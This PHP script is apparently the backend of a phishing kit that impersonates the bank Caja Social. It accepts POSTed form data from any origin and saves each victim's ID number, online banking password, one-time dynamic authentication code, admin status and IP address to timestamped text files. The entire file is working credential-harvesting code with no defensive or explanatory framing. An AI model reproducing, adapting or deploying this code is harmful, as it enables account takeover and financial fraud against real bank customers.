<?php
// guardar_registro.php - Actualizado con IP
header('Content-Type: application/json');
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: POST');
header('Access-Control-Allow-Headers: Content-Type');

// Crear carpeta si no existe
$carpeta = 'registros';
if (!file_exists($carpeta)) {
    mkdir($carpeta, 0777, true);
}

// Recibir datos
$data = json_decode(file_get_contents('php://input'), true);

if (!$data) {
    echo json_encode(['error' => 'No se recibieron datos']);
    exit;
}

// Obtener IP del usuario
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['REMOTE_ADDR'] ?? 'Desconocida';

// Crear nombre del archivo
$fecha = date('Y-m-d');
$timestamp = time();
$nombreArchivo = $carpeta . "/{$fecha}_{$timestamp}.txt";

// Contenido del archivo
$contenido = "========================================\n";
$contenido .= "     REGISTRO DE ACCESO - CAJA SOCIAL\n";
$contenido .= "========================================\n";
$contenido .= "Fecha y hora: " . date('Y-m-d H:i:s') . "\n";
$contenido .= "IP Usuario: " . $ip . "\n";
$contenido .= "----------------------------------------\n\n";
$contenido .= "DATOS DE IDENTIFICACIÓN:\n";
$contenido .= "• Tipo de identificación: " . ($data['tipoIdentificacion'] ?? 'No especificado') . "\n";
$contenido .= "• Número de identificación: " . ($data['numeroIdentificacion'] ?? 'No especificado') . "\n\n";
$contenido .= "CREDENCIALES DE ACCESO:\n";
$contenido .= "• Primera clave de internet: " . ($data['primeraClave'] ?? 'No especificada') . "\n";
$contenido .= "• Número dinámico de autenticación: " . ($data['numeroDinamico'] ?? 'No especificado') . "\n\n";
$contenido .= "INFORMACIÓN ADICIONAL:\n";
$contenido .= "• Administrador de la empresa: " . ($data['esAdmin'] ?? 'NO') . "\n\n";
$contenido .= "========================================\n";
$contenido .= "        FIN DEL REGISTRO\n";
$contenido .= "========================================\n";

// Guardar archivo
if (file_put_contents($nombreArchivo, $contenido)) {
    echo json_encode(['success' => true, 'archivo' => $nombreArchivo]);
} else {
    echo json_encode(['error' => 'No se pudo guardar el archivo']);
}
?>